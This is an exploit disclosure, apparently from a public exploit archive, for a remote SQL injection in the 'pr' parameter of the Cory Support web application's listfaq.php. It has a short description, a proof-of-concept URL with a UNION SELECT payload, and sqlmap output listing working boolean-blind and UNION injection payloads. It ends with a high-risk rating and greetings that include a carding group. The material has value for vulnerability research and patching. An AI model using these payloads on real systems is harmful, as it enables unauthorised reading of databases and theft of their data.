Cory Support SQL Injection

Cory Support suffers from a remote SQL injection vulnerability.


MD5 | 7819ac691c73a58afd6d85950d2c1b3b

# Exploit   : Cory Support (pr) SQL Injection Vulnerability
# Author : v3n0m
# Contact : v3n0m[at]outlook[dot]com
# Date : September, 06-2017 GMT +7:00 Jakarta, Indonesia
# Developer : Cory App
# Software : Cory Support
# App Link : http://coryapp.com/?product&index
# Demo : http://coryapp.com/demo/support/
# Tested On : Mac OS Sierra v10.12.6
# Credits : YOGYACARDERLINK, Dhea Dayanaya Fathin Karima, Don't Touch Me (Line Group) & Muhammad Panji, Alfath Dirk, Cafe BMW & YOU !!

1. Description

An attacker can exploit this vulnerability to read from the database.
The parameter 'pr' is vulnerable.


2. Proof of Concept

http://domain.tld/[path]/listfaq.php?pr=9999+and+1=2+union+all+select+null,version()--

# Exploitation via SQLMap

Parameter: pr (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: pr=1 AND 4809=4809
Vector: AND [INFERENCE]

Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: pr=1 UNION ALL SELECT NULL,CONCAT(0x7170706271,0x564f724b4475754c4c7a48714c59464c6c43704a636c6f72444471767a79716a6b6d4d6a72654b76,0x7170626b71)-- RNyi
Vector: UNION ALL SELECT NULL,[QUERY][GENERIC_SQL_COMMENT]


3. Security Risk

The security risk of the remote sql-injection web vulnerability in the Cory Support is estimated as high.



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